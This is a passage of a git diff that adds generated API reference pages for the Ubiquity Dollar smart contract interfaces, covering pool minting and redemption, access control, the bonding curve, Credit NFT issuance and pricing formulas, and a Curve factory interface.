ratio| + + +### collateralUsdBalance + +Returns USD value of all collateral tokens held in the pool, in E18 + + +```solidity +function collateralUsdBalance() external view returns (uint256 balanceTally); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`balanceTally`|`uint256`|USD value of all collateral tokens| + + +### ethUsdPriceFeedInformation + +Returns chainlink price feed information for ETH/USD pair + + +```solidity +function ethUsdPriceFeedInformation() external view returns (address, uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Price feed address and staleness threshold in seconds| +|``|`uint256`|| + + +### freeCollateralBalance + +Returns free collateral balance (i.e. that can be borrowed by AMO minters) + + +```solidity +function freeCollateralBalance(uint256 collateralIndex) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|collateral token index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of free collateral| + + +### getDollarInCollateral + +Returns Dollar value in collateral tokens + + +```solidity +function getDollarInCollateral(uint256 collateralIndex, uint256 dollarAmount) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|collateral token index| +|`dollarAmount`|`uint256`|Amount of Dollars| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Value in collateral tokens| + + +### getDollarPriceUsd + +Returns Ubiquity Dollar token USD price (1e6 precision) from Curve Metapool (Ubiquity Dollar, Curve Tri-Pool LP) + + +```solidity +function getDollarPriceUsd() external view returns (uint256 dollarPriceUsd); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`dollarPriceUsd`|`uint256`|USD price of Ubiquity Dollar| + + +### getGovernancePriceUsd + +Returns Governance token price in USD (6 decimals precision) + +*How it works: +1. Fetch ETH/USD price from chainlink oracle +2. Fetch Governance/ETH price from Curve's oracle +3. Calculate Governance token price in USD* + + +```solidity +function getGovernancePriceUsd() external view returns (uint256 governancePriceUsd); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`governancePriceUsd`|`uint256`|Governance token price in USD| + + +### getRedeemCollateralBalance + +Returns user's balance available for redemption + + +```solidity +function getRedeemCollateralBalance(address userAddress, uint256 collateralIndex) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`userAddress`|`address`|User address| +|`collateralIndex`|`uint256`|Collateral token index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|User's balance available for redemption| + + +### getRedeemGovernanceBalance + +Returns user's Governance tokens balance available for redemption + + +```solidity +function getRedeemGovernanceBalance(address userAddress) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`userAddress`|`address`|User address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|User's Governance tokens balance available for redemption| + + +### governanceEthPoolAddress + +Returns pool address for Governance/ETH pair + + +```solidity +function governanceEthPoolAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Pool address| + + +### stableUsdPriceFeedInformation + +Returns chainlink price feed information for stable/USD pair + +*Here stable coin refers to the 1st coin in the Curve's stable/Dollar plain pool* + + +```solidity +function stableUsdPriceFeedInformation() external view returns (address, uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Price feed address and staleness threshold in seconds| +|``|`uint256`|| + + +### mintDollar + +Mints Dollars in exchange for collateral tokens + + +```solidity +function mintDollar( + uint256 collateralIndex, + uint256 dollarAmount, + uint256 dollarOutMin, + uint256 maxCollateralIn, + uint256 maxGovernanceIn, + bool isOneToOne +) external nonReentrant returns (uint256 totalDollarMint, uint256 collateralNeeded, uint256 governanceNeeded); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`dollarAmount`|`uint256`|Amount of dollars to mint| +|`dollarOutMin`|`uint256`|Min amount of dollars to mint (slippage protection)| +|`maxCollateralIn`|`uint256`|Max amount of collateral to send (slippage protection)| +|`maxGovernanceIn`|`uint256`|Max amount of Governance tokens to send (slippage protection)| +|`isOneToOne`|`bool`|Force providing only collateral without Governance tokens| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`totalDollarMint`|`uint256`|Amount of Dollars minted| +|`collateralNeeded`|`uint256`|Amount of collateral sent to the pool| +|`governanceNeeded`|`uint256`|Amount of Governance tokens burnt from sender| + + +### redeemDollar + +Burns redeemable Ubiquity Dollars and sends back 1 USD of collateral token for every 1 Ubiquity Dollar burned + +*Redeem process is split in two steps:* + + +```solidity +function redeemDollar(uint256 collateralIndex, uint256 dollarAmount, uint256 governanceOutMin, uint256 collateralOutMin) + external + nonReentrant + returns (uint256 collateralOut, uint256 governanceOut); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index being withdrawn| +|`dollarAmount`|`uint256`|Amount of Ubiquity Dollars being burned| +|`governanceOutMin`|`uint256`|Minimum amount of Governance tokens that'll be withdrawn, used to set acceptable slippage| +|`collateralOutMin`|`uint256`|Minimum amount of collateral tokens that'll be withdrawn, used to set acceptable slippage| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`collateralOut`|`uint256`|Amount of collateral tokens ready for redemption| +|`governanceOut`|`uint256`|| + + +### collectRedemption + +Used to collect collateral tokens after redeeming/burning Ubiquity Dollars + +*Redeem process is split in two steps:* + + +```solidity +function collectRedemption(uint256 collateralIndex) + external + nonReentrant + returns (uint256 governanceAmount, uint256 collateralAmount); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index being collected| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`governanceAmount`|`uint256`|Amount of Governance tokens redeemed| +|`collateralAmount`|`uint256`|Amount of collateral tokens redeemed| + + +### updateChainLinkCollateralPrice + +Updates collateral token price in USD from ChainLink price feed + + +```solidity +function updateChainLinkCollateralPrice(uint256 collateralIndex) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| + + +### amoMinterBorrow + +Allows AMO minters to borrow collateral to make yield in external +protocols like Compound, Curve, erc... + +*Bypasses the gassy mint->redeem cycle for AMOs to borrow collateral* + + +```solidity +function amoMinterBorrow(uint256 collateralAmount) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAmount`|`uint256`|Amount of collateral to borrow| + + +### addAmoMinter + +Adds a new AMO minter + + +```solidity +function addAmoMinter(address amoMinterAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amoMinterAddress`|`address`|AMO minter address| + + +### addCollateralToken + +Adds a new collateral token + + +```solidity +function addCollateralToken(address collateralAddress, address chainLinkPriceFeedAddress, uint256 poolCeiling) + external + onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAddress`|`address`|Collateral token address| +|`chainLinkPriceFeedAddress`|`address`|Chainlink's price feed address| +|`poolCeiling`|`uint256`|Max amount of available tokens for collateral| + + +### removeAmoMinter + +Removes AMO minter + + +```solidity +function removeAmoMinter(address amoMinterAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amoMinterAddress`|`address`|AMO minter address to remove| + + +### setCollateralChainLinkPriceFeed + +Sets collateral ChainLink price feed params + + +```solidity +function setCollateralChainLinkPriceFeed( + address collateralAddress, + address chainLinkPriceFeedAddress, + uint256 stalenessThreshold +) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralAddress`|`address`|Collateral token address| +|`chainLinkPriceFeedAddress`|`address`|ChainLink price feed address| +|`stalenessThreshold`|`uint256`|Threshold in seconds when chainlink answer should be considered stale| + + +### setCollateralRatio + +Sets collateral ratio + +*How much collateral/governance tokens user should provide/get to mint/redeem Dollar tokens, 1e6 precision* + + +```solidity +function setCollateralRatio(uint256 newCollateralRatio) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newCollateralRatio`|`uint256`|New collateral ratio| + + +### setEthUsdChainLinkPriceFeed + +Sets chainlink params for ETH/USD price feed + + +```solidity +function setEthUsdChainLinkPriceFeed(address newPriceFeedAddress, uint256 newStalenessThreshold) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newPriceFeedAddress`|`address`|New chainlink price feed address for ETH/USD pair| +|`newStalenessThreshold`|`uint256`|New threshold in seconds when chainlink's ETH/USD price feed answer should be considered stale| + + +### setFees + +Sets mint and redeem fees, 1_000_000 = 100% + + +```solidity +function setFees(uint256 collateralIndex, uint256 newMintFee, uint256 newRedeemFee) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`newMintFee`|`uint256`|New mint fee| +|`newRedeemFee`|`uint256`|New redeem fee| + + +### setGovernanceEthPoolAddress + +Sets a new pool address for Governance/ETH pair + +*Based on Curve's CurveTwocryptoOptimized contract. Used for fetching Governance token USD price. +How it works: +1. Fetch Governance/ETH price from CurveTwocryptoOptimized's built-in oracle +2. Fetch ETH/USD price from chainlink feed +3. Calculate Governance token price in USD* + + +```solidity +function setGovernanceEthPoolAddress(address newGovernanceEthPoolAddress) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newGovernanceEthPoolAddress`|`address`|New pool address for Governance/ETH pair| + + +### setPoolCeiling + +Sets max amount of collateral for a particular collateral token + + +```solidity +function setPoolCeiling(uint256 collateralIndex, uint256 newCeiling) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`newCeiling`|`uint256`|Max amount of collateral| + + +### setPriceThresholds + +Sets mint and redeem price thresholds, 1_000_000 = $1.00 + + +```solidity +function setPriceThresholds(uint256 newMintPriceThreshold, uint256 newRedeemPriceThreshold) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newMintPriceThreshold`|`uint256`|New mint price threshold| +|`newRedeemPriceThreshold`|`uint256`|New redeem price threshold| + + +### setRedemptionDelayBlocks + +Sets a redemption delay in blocks + +*Redeeming is split in 2 actions:* + + +```solidity +function setRedemptionDelayBlocks(uint256 newRedemptionDelayBlocks) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newRedemptionDelayBlocks`|`uint256`|Redemption delay in blocks| + + +### setStableUsdChainLinkPriceFeed + +Sets chainlink params for stable/USD price feed + +*Here stable coin refers to the 1st coin in the Curve's stable/Dollar plain pool* + + +```solidity +function setStableUsdChainLinkPriceFeed(address newPriceFeedAddress, uint256 newStalenessThreshold) + external + onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newPriceFeedAddress`|`address`|New chainlink price feed address for stable/USD pair| +|`newStalenessThreshold`|`uint256`|New threshold in seconds when chainlink's stable/USD price feed answer should be considered stale| + + +### toggleCollateral + +Toggles (i.e. enables/disables) a particular collateral token + + +```solidity +function toggleCollateral(uint256 collateralIndex) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| + + +### toggleMintRedeemBorrow + +Toggles pause for mint/redeem/borrow methods + + +```solidity +function toggleMintRedeemBorrow(uint256 collateralIndex, uint8 toggleIndex) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`collateralIndex`|`uint256`|Collateral token index| +|`toggleIndex`|`uint8`|Method index. 0 - toggle mint pause, 1 - toggle redeem pause, 2 - toggle borrow by AMO pause| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IAccessControl.sol/interface.IAccessControl.md b/packages/contracts/docs/src/src/dollar/interfaces/IAccessControl.sol/interface.IAccessControl.md new file mode 100644 index 000000000..c55798db7 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IAccessControl.sol/interface.IAccessControl.md @@ -0,0 +1,113 @@ +# IAccessControl +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IAccessControl.sol) + +Access contol interface + + +## Functions +### hasRole + +Checks whether role is assigned to account + + +```solidity +function hasRole(bytes32 role, address account) external view returns (bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to check| +|`account`|`address`|Address to check| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether role is assigned to account| + + +### getRoleAdmin + +Returns admin role for a given role + + +```solidity +function getRoleAdmin(bytes32 role) external view returns (bytes32); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to query| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes32`|Admin role for a provided role| + + +### setRoleAdmin + +Sets admin role for a given role + + +```solidity +function setRoleAdmin(bytes32 role, bytes32 adminRole) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to set| +|`adminRole`|`bytes32`|Admin role to set for a provided role| + + +### grantRole + +Assigns role to a given account + + +```solidity +function grantRole(bytes32 role, address account) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to assign| +|`account`|`address`|Recipient address of role assignment| + + +### revokeRole + +Unassign role from a given account + + +```solidity +function revokeRole(bytes32 role, address account) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to unassign| +|`account`|`address`|Address from which the provided role should be unassigned| + + +### renounceRole + +Renounce role + + +```solidity +function renounceRole(bytes32 role) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to renounce| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IBondingCurve.sol/interface.IBondingCurve.md b/packages/contracts/docs/src/src/dollar/interfaces/IBondingCurve.sol/interface.IBondingCurve.md new file mode 100644 index 000000000..685429b32 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IBondingCurve.sol/interface.IBondingCurve.md @@ -0,0 +1,103 @@ +# IBondingCurve +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IBondingCurve.sol) + +Interface based on Bancor formula + +Inspired from Bancor protocol https://github.com/bancorprotocol/contracts + +Used on UbiquiStick NFT minting + + +## Functions +### setParams + +Sets bonding curve params + + +```solidity +function setParams(uint32 _connectorWeight, uint256 _baseY) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_connectorWeight`|`uint32`|Connector weight| +|`_baseY`|`uint256`|Base Y| + + +### connectorWeight + +Returns `connectorWeight` value + + +```solidity +function connectorWeight() external returns (uint32); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint32`|Connector weight value| + + +### baseY + +Returns `baseY` value + + +```solidity +function baseY() external returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Base Y value| + + +### poolBalance + +Returns total balance of deposited collateral + + +```solidity +function poolBalance() external returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of deposited collateral| + + +### deposit + +Deposits collateral tokens in exchange for UbiquiStick NFT + + +```solidity +function deposit(uint256 _collateralDeposited, address _recipient) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_collateralDeposited`|`uint256`|Amount of collateral| +|`_recipient`|`address`|Address to receive the NFT| + + +### withdraw + +Withdraws collateral tokens to treasury + + +```solidity +function withdraw(uint256 _amount) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amount`|`uint256`|Amount of collateral tokens to withdraw| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/ICreditNft.sol/interface.ICreditNft.md b/packages/contracts/docs/src/src/dollar/interfaces/ICreditNft.sol/interface.ICreditNft.md new file mode 100644 index 000000000..639de5b0f --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/ICreditNft.sol/interface.ICreditNft.md @@ -0,0 +1,66 @@ +# ICreditNft +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/ICreditNft.sol) + +**Inherits:** +IERC1155Upgradeable + +CreditNft interface + + +## Functions +### updateTotalDebt + +Updates debt according to current block number + +Invalidates expired CreditNfts + +*Should be called prior to any state changing functions* + + +```solidity +function updateTotalDebt() external; +``` + +### burnCreditNft + +Burns an `amount` of CreditNfts expiring at `expiryBlockNumber` from `creditNftOwner` balance + + +```solidity +function burnCreditNft(address creditNftOwner, uint256 amount, uint256 expiryBlockNumber) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`creditNftOwner`|`address`|Owner of those CreditNfts| +|`amount`|`uint256`|Amount of tokens to burn| +|`expiryBlockNumber`|`uint256`|Expiration block number of the CreditNfts to burn| + + +### mintCreditNft + +Mint an `amount` of CreditNfts expiring at `expiryBlockNumber` for a certain `recipient` + + +```solidity +function mintCreditNft(address recipient, uint256 amount, uint256 expiryBlockNumber) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`recipient`|`address`|Address where to mint tokens| +|`amount`|`uint256`|Amount of tokens to mint| +|`expiryBlockNumber`|`uint256`|Expiration block number of the CreditNfts to mint| + + +### getTotalOutstandingDebt + +Returns outstanding debt by fetching current tally and removing any expired debt + + +```solidity +function getTotalOutstandingDebt() external view returns (uint256); +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/ICreditNftManager.sol/interface.ICreditNftManager.md b/packages/contracts/docs/src/src/dollar/interfaces/ICreditNftManager.sol/interface.ICreditNftManager.md new file mode 100644 index 000000000..fec6f632a --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/ICreditNftManager.sol/interface.ICreditNftManager.md @@ -0,0 +1,63 @@ +# ICreditNftManager +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/ICreditNftManager.sol) + +**Inherits:** +IERC1155Receiver + +Interface for basic credit issuing and redemption mechanism for Credit NFT and Credit holders + +Allows users to burn their Dollars in exchange for Credit NFTs or Credits redeemable in the future + +Allows users to: +- redeem individual Credit NFT or batch redeem Credit NFT on a first-come first-serve basis +- redeem Credits for Dollars + +*Implements `IERC1155Receiver` so that it can deal with redemptions* + + +## Functions +### redeemCreditNft + +Burns Credit NFTs for Dollars when Dollar price > 1$ + + +```solidity +function redeemCreditNft(uint256 id, uint256 amount) external returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`id`|`uint256`|Credit NFT expiry block number| +|`amount`|`uint256`|Amount of Credit NFTs to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of unredeemed Credit NFTs| + + +### exchangeDollarsForCreditNft + +Burns Dollars in exchange for Credit NFTs + +Should only be called when Dollar price < 1$ + + +```solidity +function exchangeDollarsForCreditNft(uint256 amount) external returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of Dollars to exchange for Credit NFTs| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Expiry block number when Credit NFTs can no longer be redeemed for Dollars| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/ICreditNftRedemptionCalculator.sol/interface.ICreditNftRedemptionCalculator.md b/packages/contracts/docs/src/src/dollar/interfaces/ICreditNftRedemptionCalculator.sol/interface.ICreditNftRedemptionCalculator.md new file mode 100644 index 000000000..76cc41a26 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/ICreditNftRedemptionCalculator.sol/interface.ICreditNftRedemptionCalculator.md @@ -0,0 +1,46 @@ +# ICreditNftRedemptionCalculator +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/ICreditNftRedemptionCalculator.sol) + +Contract interface for calculating amount of Credit NFTs to mint on Dollars burn + +Users can burn their Dollars in exchange for Credit NFTs which are minted with a premium. +Premium is calculated with the following formula: `1 / ((1 - R) ^ 2) - 1` where `R` represents Credit NFT +total oustanding debt divived by Dollar total supply. When users burn Dollars and mint Credit NFTs then +total oustading debt of Credit NFT is increased. On the contrary, when Credit NFTs are burned then +Credit NFT total oustanding debt is decreased. + +Example: +1. Dollar total supply: 10_000, Credit NFT total oustanding debt: 100, User burns: 200 Dollars +2. When user burns 200 Dollars then `200 + 200 * (1 / ((1 - (100 / 10_000)) ^ 2) - 1) = ~204.06` Credit NFTs are minted + +Example: +1. Dollar total supply: 10_000, Credit NFT total oustanding debt: 9_000, User burns: 200 Dollars +2. When user burns 200 Dollars then `200 + 200 * (1 / ((1 - (9_000 / 10_000)) ^ 2) - 1) = 20_000` Credit NFTs are minted + +So the more Credit NFT oustanding debt (i.e. Credit NFT total supply) the more premium applied for minting Credit NFTs + +*1 Credit NFT = 1 whole Ubiquity Dollar, not 1 wei* + + +## Functions +### getCreditNftAmount + +Returns Credit NFT amount minted for `dollarsToBurn` amount of Dollars to burn + + +```solidity +function getCreditNftAmount(uint256 dollarsToBurn) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`dollarsToBurn`|`uint256`|Amount of Dollars to burn| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credit NFTs to mint| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/ICreditRedemptionCalculator.sol/interface.ICreditRedemptionCalculator.md b/packages/contracts/docs/src/src/dollar/interfaces/ICreditRedemptionCalculator.sol/interface.ICreditRedemptionCalculator.md new file mode 100644 index 000000000..65d48ff01 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/ICreditRedemptionCalculator.sol/interface.ICreditRedemptionCalculator.md @@ -0,0 +1,56 @@ +# ICreditRedemptionCalculator +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/ICreditRedemptionCalculator.sol) + +Contract interface for calculating amount of Credits to mint on Dollars burn + +Users are allowed to burn Dollars in exchange for Credit tokens. When a new debt +cycle starts (i.e. Dollar price < 1$) then users can burn Dollars for Credits via this +formula: `y = x * ((BlockDebtStart / BlockBurn) ^ p)` where: +- `y`: amount of Credits to mint +- `x`: amount of Dollars to burn +- `BlockDebtStart`: block number when debt cycle started (i.e. block number when Dollar price became < 1$) +- `BlockBurn`: block number when Dollar burn operation is performed +- `p`: DAO controlled variable. The greater the `p` param the harsher the decrease rate of Dollars to mint. + +Example: +1. Block debt cycle start: 190, block burn: 200, p: 1, Dollars to burn: 300 +2. Credits to mint: `300 * ((190/200)^1) = 285` + +Example: +1. Block debt cycle start: 100, block burn: 200, p: 1, Dollars to burn: 300 +2. Credits to mint: `300 * ((100/200)^1) = 150` + +Example: +1. Block debt cycle start: 190, block burn: 200, p: 2, Dollars to burn: 300 +2. Credits to mint: `300 * ((190/200)^1) = 270` + +Example: +1. Block debt cycle start: 100, block burn: 200, p: 2, Dollars to burn: 300 +2. Credits to mint: `300 * ((100/200)^1) = 75` + +It is more profitable to burn Dollars for Credits at the beginning of the debt cycle. + + +## Functions +### getCreditAmount + +Returns amount of Credits to mint for `dollarsToBurn` amount of Dollars to burn + + +```solidity +function getCreditAmount(uint256 dollarsToBurn, uint256 blockHeightDebt) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`dollarsToBurn`|`uint256`|Amount of Dollars to burn| +|`blockHeightDebt`|`uint256`|Block number when the latest debt cycle started (i.e. when Dollar price became < 1$)| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of Credits to mint| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/ICurveFactory.sol/interface.ICurveFactory.md b/packages/contracts/docs/src/src/dollar/interfaces/ICurveFactory.sol/interface.ICurveFactory.md new file mode 100644 index 000000000..82c646da0 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/ICurveFactory.sol/interface.ICurveFactory.md @@ -0,0 +1,557 @@ +# ICurveFactory +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/ICurveFactory.sol) + +Curve Factory interface + +Permissionless pool deployer and registry + + +## Functions +### find_pool_for_coins + +Finds an available pool for exchanging two coins + + +```solidity +function find_pool_for_coins(address _from, address _to) external view returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_from`|`address`|Address of coin to be sent| +|`_to`|`address`|Address of coin to be received| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Pool address| + + +### find_pool_for_coins + +Finds an available pool for exchanging two coins + + +```solidity +function find_pool_for_coins(address _from, address _to, uint256 i) external view returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_from`|`address`|Address of coin to be sent| +|`_to`|`address`|Address of coin to be received| +|`i`|`uint256`|Index value. When multiple pools are available this value is used to return the n'th address.| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Pool address| + + +### get_n_coins + +Get the number of coins in a pool + + +```solidity +function get_n_coins(address _pool) external view returns (uint256, uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Pool address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Number of coins| +|``|`uint256`|| + + +### get_coins + +Get the coins within a pool + + +```solidity +function get_coins(address _pool) external view returns (address[2] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Pool address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address[2]`|List of coin addresses| + + +### get_underlying_coins + +Get the underlying coins within a pool + +*Reverts if a pool does not exist or is not a metapool* + + +```solidity +function get_underlying_coins(address _pool) external view returns (address[8] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Pool address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address[8]`|List of coin addresses| + + +### get_decimals + +Get decimal places for each coin within a pool + + +```solidity +function get_decimals(address _pool) external view returns (uint256[2] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Pool address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[2]`|uint256 list of decimals| + + +### get_underlying_decimals + +Get decimal places for each underlying coin within a pool + + +```solidity +function get_underlying_decimals(address _pool) external view returns (uint256[8] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Pool address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[8]`|uint256 list of decimals| + + +### get_rates + +Get rates for coins within a pool + + +```solidity +function get_rates(address _pool) external view returns (uint256[2] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Pool address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[2]`|Rates for each coin, precision normalized to 10**18| + + +### get_balances + +Get balances for each coin within a pool + +*For pools using lending, these are the wrapped coin balances* + + +```solidity +function get_balances(address _pool) external view returns (uint256[2] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Pool address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[2]`|uint256 list of balances| + + +### get_underlying_balances + +Get balances for each underlying coin within a metapool + + +```solidity +function get_underlying_balances(address _pool) external view returns (uint256[8] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Metapool address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[8]`|uint256 list of underlying balances| + + +### get_A + +Get the amplfication co-efficient for a pool + + +```solidity +function get_A(address _pool) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Pool address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|uint256 A| + + +### get_fees + +Get the fees for a pool + +*Fees are expressed as integers* + + +```solidity +function get_fees(address _pool) external view returns (uint256, uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Pool fee and admin fee as uint256 with 1e10 precision| +|``|`uint256`|| + + +### get_admin_balances + +Get the current admin balances (uncollected fees) for a pool + + +```solidity +function get_admin_balances(address _pool) external view returns (uint256[2] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Pool address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[2]`|List of uint256 admin balances| + + +### get_coin_indices + +Convert coin addresses to indices for use with pool methods + + +```solidity +function get_coin_indices(address _pool, address _from, address _to) external view returns (int128, int128, bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_pool`|`address`|Pool address| +|`_from`|`address`|Coin address to be used as `i` within a pool| +|`_to`|`address`|Coin address to be used as `j` within a pool| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`int128`|int128 `i`, int128 `j`, boolean indicating if `i` and `j` are underlying coins| +|``|`int128`|| 